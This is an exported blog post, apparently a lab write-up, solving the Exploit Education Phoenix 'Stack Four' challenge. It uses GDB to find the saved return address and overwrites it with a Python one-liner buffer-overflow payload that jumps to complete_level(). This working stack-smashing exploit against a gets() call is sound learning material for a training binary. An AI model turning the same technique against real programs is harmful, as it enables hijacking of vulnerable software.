{"id":440,"date":"2019-07-09T11:33:12","date_gmt":"2019-07-09T15:33:12","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=440"},"modified":"2019-08-16T13:19:19","modified_gmt":"2019-08-16T17:19:19","slug":"exploit-education-phoenix-stack-four-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-four-solution\/","title":{"rendered":"Exploit Education | Phoenix | Stack Four Solution"},"content":{"rendered":"<h1>Stack Four<\/h1>\n<p>The description and source code can be found here:<br \/>\n<a href=\"https:\/\/exploit.education\/phoenix\/stack-four\/\">https:\/\/exploit.education\/phoenix\/stack-four\/<\/a><\/p>\n<p>For this program, we&#8217;ll need to overwrite the return address saved on the stack from calling the <span style=\"font-family: Courier New; font-weight: bold;\">start_level()<\/span> function to redirect the flow of execution to the <span style=\"font-family: Courier New; font-weight: bold;\">complete_level()<\/span> function:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">void complete_level() {\r\n    printf(&quot;Congratulations, you've finished &quot; LEVELNAME &quot; :-) Well done!\\n&quot;);\r\n    exit(0);\r\n}\r\n\r\nvoid start_level() {\r\n    char buffer&#x5B;64];\r\n    void *ret;\r\n\r\n    gets(buffer);\r\n\r\n    ret = __builtin_return_address(0);\r\n    printf(&quot;and will be returning to %p\\n&quot;, ret);\r\n}\r\n\r\nint main(int argc, char **argv) {\r\n    printf(&quot;%s\\n&quot;, BANNER);\r\n    start_level();\r\n}<\/pre>\n<p>Let&#8217;s fire up stack-four in GDB to figure out, exactly, where in the stack the return address is:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/amd64$ gdb -q stack-four \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from stack-four...(no debugging symbols found)...done.\r\nPython Exception &lt;class 'UnicodeEncodeError'&gt; 'ascii' codec can't encode character '\\u27a4' in position 12: ordinal not in range(128): \r\n(gdb)<\/pre>\n<p><strong>SIDE NOTE:<\/strong> You may notice a few things after starting GDB here. First, this isn&#8217;t your typical &#8220;stock&#8221; GDB. It comes with <a href=\"https:\/\/github.com\/hugsy\/gef\">GEF (GDB Enhanced Features)<\/a> pre-installed to help make our lives easier (though I won&#8217;t be needing its features for this level). Second, there&#8217;s an error on the line right before the command prompt that shows itself every time you enter a command. And if you&#8217;re familiar with GEF, you may have noticed that the prompt should show <span style=\"font-family: Courier New; font-weight: bold;\">gef&gt;<\/span> instead of <span style=\"font-family: Courier New; font-weight: bold;\">(gdb)<\/span>. This can be easily fixed. Quit GDB and run the following command to prevent GEF from using a Unicode character in its prompt:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">sudo sed -i 's\/\\\\u27a4 \/&gt;\/g' \/etc\/gdb\/gef.py<\/pre>\n<p>Ok, let&#8217;s get back to it. First, I&#8217;ll disassemble the <span style=\"font-family: Courier New; font-weight: bold;\">main()<\/span> function to see which address will be stored on the stack after the <span style=\"font-family: Courier New; font-weight: bold;\">start_level()<\/span> function returns. I&#8217;ll also disassemble the <span style=\"font-family: Courier New; font-weight: bold;\">start_level()<\/span> function because I&#8217;d like to place a break point right after the <span style=\"font-family: Courier New; font-weight: bold;\">gets()<\/span> function is called. That way we can see the user input being stored on the stack.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/amd64$ gdb -q stack-four \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from stack-four...(no debugging symbols found)...done.\r\ngef&gt; disas main\r\nDump of assembler code for function main:\r\n   0x000000000040066a &lt;+0&gt;:     push   rbp\r\n   0x000000000040066b &lt;+1&gt;:     mov    rbp,rsp\r\n   0x000000000040066e &lt;+4&gt;:     sub    rsp,0x10\r\n   0x0000000000400672 &lt;+8&gt;:     mov    DWORD PTR &#x5B;rbp-0x4],edi\r\n   0x0000000000400675 &lt;+11&gt;:    mov    QWORD PTR &#x5B;rbp-0x10],rsi\r\n   0x0000000000400679 &lt;+15&gt;:    mov    edi,0x400750\r\n   0x000000000040067e &lt;+20&gt;:    call   0x400480 &lt;puts@plt&gt;\r\n   0x0000000000400683 &lt;+25&gt;:    mov    eax,0x0\r\n   0x0000000000400688 &lt;+30&gt;:    call   0x400635 &lt;start_level&gt;\r\n   0x000000000040068d &lt;+35&gt;:    mov    eax,0x0\r\n   0x0000000000400692 &lt;+40&gt;:    leave\r\n   0x0000000000400693 &lt;+41&gt;:    ret\r\nEnd of assembler dump.\r\n\r\ngef&gt; disas start_level\r\nDump of assembler code for function start_level:\r\n   0x0000000000400635 &lt;+0&gt;:     push   rbp\r\n   0x0000000000400636 &lt;+1&gt;:     mov    rbp,rsp\r\n   0x0000000000400639 &lt;+4&gt;:     sub    rsp,0x50\r\n   0x000000000040063d &lt;+8&gt;:     lea    rax,&#x5B;rbp-0x50]\r\n   0x0000000000400641 &lt;+12&gt;:    mov    rdi,rax\r\n   0x0000000000400644 &lt;+15&gt;:    call   0x400470 &lt;gets@plt&gt;\r\n   0x0000000000400649 &lt;+20&gt;:    mov    rax,QWORD PTR &#x5B;rbp+0x8]\r\n   0x000000000040064d &lt;+24&gt;:    mov    QWORD PTR &#x5B;rbp-0x8],rax\r\n   0x0000000000400651 &lt;+28&gt;:    mov    rax,QWORD PTR &#x5B;rbp-0x8]\r\n   0x0000000000400655 &lt;+32&gt;:    mov    rsi,rax\r\n   0x0000000000400658 &lt;+35&gt;:    mov    edi,0x400733\r\n   0x000000000040065d &lt;+40&gt;:    mov    eax,0x0\r\n   0x0000000000400662 &lt;+45&gt;:    call   0x400460 &lt;printf@plt&gt;\r\n   0x0000000000400667 &lt;+50&gt;:    nop\r\n   0x0000000000400668 &lt;+51&gt;:    leave\r\n   0x0000000000400669 &lt;+52&gt;:    ret\r\nEnd of assembler dump.\r\n\r\ngef&gt; b *0x0000000000400649\r\nBreakpoint 1 at 0x400649<\/pre>\n<p>The disassembly of the <span style=\"font-family: Courier New; font-weight: bold;\">main()<\/span> function shows that after the <span style=\"font-family: Courier New; font-weight: bold;\">start_level()<\/span> function returns, it will execution at the address 0x0040068d. That&#8217;s what I&#8217;ll be looking for on the stack. And as you can see, I placed a break point at 0x400649. Next, I&#8217;ll run the program and fill the &#8220;<strong>buffer<\/strong>&#8221; variable with 64 characters. I use an A at the beginning, B&#8217;s in the middle, and a C at the end so it&#8217;s easy for me to see where, on the stack, this data starts and stops.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; run &lt;&lt;&lt; $(python -c 'print &quot;A&quot; + &quot;B&quot;*62 + &quot;C&quot;')                             \r\nStarting program: \/opt\/phoenix\/amd64\/stack-four &lt;&lt;&lt; $(python -c 'print &quot;A&quot; + &quot;B&quot;*62 + &quot;C&quot;')\r\nWelcome to phoenix\/stack-four, brought to you by https:\/\/exploit.education\r\n\r\nBreakpoint 1, 0x0000000000400649 in start_level ()\r\n\r\n&#x5B;... GEF output snipped ...]<\/pre>\n<p>After reaching the break point, we can examine the contents of the stack starting at the stack pointer register. I can either manually look for the return address that I had identified earlier (0x0040068d) and calculate the location in my head (which is error-prone), or I can use GDB&#8217;s &#8220;find&#8221; command:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; x\/24x $sp\r\n0x7fffffffe5f0: 0x42424241      0x42424242      0x42424242      0x42424242\r\n0x7fffffffe600: 0x42424242      0x42424242      0x42424242      0x42424242\r\n0x7fffffffe610: 0x42424242      0x42424242      0x42424242      0x42424242\r\n0x7fffffffe620: 0x42424242      0x42424242      0x42424242      0x43424242\r\n0x7fffffffe630: 0xffff0000      0x00007fff      0xffffe660      0x00007fff\r\n0x7fffffffe640: 0xffffe660      0x00007fff      0x0040068d      0x00000000\r\n\r\ngef&gt; find 0x7fffffffe5f0, +96, 0x0040068d\r\n0x7fffffffe648\r\n1 pattern found.<\/pre>\n<p>Another option is to use GDB&#8217;s &#8220;info frame&#8221; command and see where RIP is at under &#8220;Saved registers:&#8221;<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\ngef&gt; info frame\r\nStack level 0, frame at 0x7fffffffe650:\r\n rip = 0x400649 in start_level; saved rip = 0x40068d\r\n called by frame at 0x7fffffffe670\r\n Arglist at 0x7fffffffe640, args:\r\n Locals at 0x7fffffffe640, Previous frame's sp is 0x7fffffffe650\r\n Saved registers:\r\n  rbp at 0x7fffffffe640, rip at 0x7fffffffe648<\/pre>\n<p>So now we know that the return address we&#8217;re looking for (0x0040068d) is at memory location 0x7fffffffe648 and the start of the &#8220;<strong>buffer<\/strong>&#8221; variable is at 0x7fffffffe5f0. Next, we need to calculate how many bytes difference that is. I can use a calculator in programmer mode, or I can let GDB do the math. Once I have that value, I&#8217;ll continue the execution and let the program exit:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; printf &quot;%i\\n&quot;, 0x7fffffffe648 - 0x7fffffffe5f0\r\n88\r\n\r\ngef&gt; c\r\nContinuing.\r\nand will be returning to 0x40068d\r\n&#x5B;Inferior 1 (process 331) exited normally]<\/pre>\n<p>Next, we need to get the address of the <span style=\"font-family: Courier New; font-weight: bold;\">complete_level()<\/span> function. You can either &#8220;disassemble complete_level&#8221; in GDB and use the first address shown, or grep the output of objdump:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/amd64$ objdump -d stack-four | grep complete_level\r\n000000000040061d &lt;complete_level&gt;:<\/pre>\n<p>So we need to overwrite the return address on the stack with 0x40061d. Let&#8217;s test it in GDB and check out the contents of the stack before continuing execution &amp; verifying it worked (Note: If you quit GDB to use the objdump command, you&#8217;ll need to set your break point at 0x400649 again):<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; run &lt;&lt;&lt; $(python -c 'print &quot;A&quot;*88 + &quot;\\x1d\\x06\\x40&quot;')\r\nStarting program: \/opt\/phoenix\/amd64\/stack-four &lt;&lt;&lt; $(python -c 'print &quot;A&quot;*88 + &quot;\\x1d\\x06\\x40&quot;') Welcome to phoenix\/stack-four, brought to you by https:\/\/exploit.education Breakpoint 1, 0x0000000000400649 in start_level () &#x5B;... GEF output snipped ...] gef&gt; x\/24x $sp\r\n0x7fffffffe5f0: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe600: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe610: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe620: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe630: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe640: 0x41414141      0x41414141      0x0040061d      0x00000000\r\n\r\ngef&gt; c\r\nContinuing.\r\nand will be returning to 0x40061d\r\nCongratulations, you've finished phoenix\/stack-four :-) Well done!\r\n&#x5B;Inferior 1 (process 354) exited normally]<\/pre>\n<p>Excellent! And just for good measure, we can test it in Bash:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/amd64$ python -c 'print &quot;A&quot;*88 + &quot;\\x1d\\x06\\x40&quot;' | .\/stack-four \r\nWelcome to phoenix\/stack-four, brought to you by https:\/\/exploit.education\r\nand will be returning to 0x40061d\r\nCongratulations, you've finished phoenix\/stack-four :-) Well done!<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Stack Four takes a look at what can happen when you can overwrite the saved instruction pointer (standard buffer overflow) &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-four-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Stack Four Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-440","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/440","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=440"}],"version-history":[{"count":2,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/440\/revisions"}],"predecessor-version":[{"id":685,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/440\/revisions\/685"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=440"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=440"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=440"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}